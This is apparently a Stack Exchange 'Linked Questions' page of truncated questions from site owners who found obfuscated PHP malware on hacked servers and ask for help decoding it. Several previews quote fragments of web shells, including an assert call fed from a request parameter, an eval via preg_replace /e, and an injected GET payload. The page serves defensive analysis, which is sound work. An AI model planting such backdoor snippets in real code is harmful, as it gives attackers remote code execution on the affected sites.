Linked Questions
38 questions linked to/from I found unknown PHP code on my server. How do I de-obfuscate the code?
72
votes
5
answers
27k
views
Found suspicious, obfuscated PHP file. Is this a hack attempt on my website? [duplicate]
I just noticed that the top line of my index.php file got changed to what's below.
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\...
30
votes
2
answers
4k
views
WordPress hacked, found suspicious file [duplicate]
Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
18
votes
2
answers
5k
views
What does this suspicious PHP code do? [duplicate]
I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:
if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);...
13
votes
3
answers
3k
views
How to deobfuscate this PHP malware? [duplicate]
Two days ago a file called "images.php" appeared on a friend's server, which he noticed because it caused errors. The file contained the following. This code is of unknown origin and presumed to be ...
6
votes
2
answers
6k
views
Malicious code is injected to a PHP file [duplicate]
My site is built using Wordpress. One day it stopped working and found an error in one PHP file.
When I downloaded that PHP file to see what happened, my antivirus (Microsoft Security Essentials) ...
1
vote
1
answer
4k
views
Please help me understand this PHP hack [duplicate]
We have found this on a hacked PHP webserver. It was in a single file. This file was included from somewhere else with @require.
That's what we know:
This site is running PHP 5.3
The site had ...
3
votes
1
answer
3k
views
Could someone help me deobfuscate this malicious script code [duplicate]
Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
-3
votes
1
answer
1k
views
I need to decode this suspicious code and explain what it is doing? [duplicate]
$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
$spvgazs = Array();
$spvgazs[] = $llkas[10].$llkas[15];
$spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$...
-1
votes
3
answers
835
views
PHP Code Found Is It Malicious? [duplicate]
I found the following code on my website. What does it do? Is it malicious?
<?php
@ignore_user_abort(true);
@set_time_limit(0);
$getherw3423 = "FFS"."W35"."25KK"."Sfj";
$...
2
votes
1
answer
667
views
Just another suspiciously looking php script [duplicate]
My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress ...
0
votes
1
answer
714
views
Execution of PHP function's through HTTP GET request by hacker [duplicate]
We are continuously receiving following requests on our apache server from the hackers
?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);
@set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
0
votes
1
answer
622
views
Is this strange PHP file that I found on my server malicious? [duplicate]
I found a PHP file that I don't know where it came from on my server:
<?php
$ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $...
1
vote
2
answers
791
views
Shared hosting is hacked [duplicate]
My shared hosting with GoDaddy was hacked by injecting a PHP file (deade6.php) that is recreated every time I delete it. I also tried to modify the .htaccess but it gets recreated as follows:
<...
0
votes
2
answers
613
views
Malicious code found - translation please? [duplicate]
An unfriendly visitor left some code on my website. Unfortunately, the coding makes it hard to understand what he wants (probably full control over my server). Any help in deciphering the actual ...
0
votes
1
answer
564
views
Strange PHP file found on web server [duplicate]
I've found a very strange PHP file with a very long regexp in a customer web server. The file is named 'god.php', and this is their content:
<?php
preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\...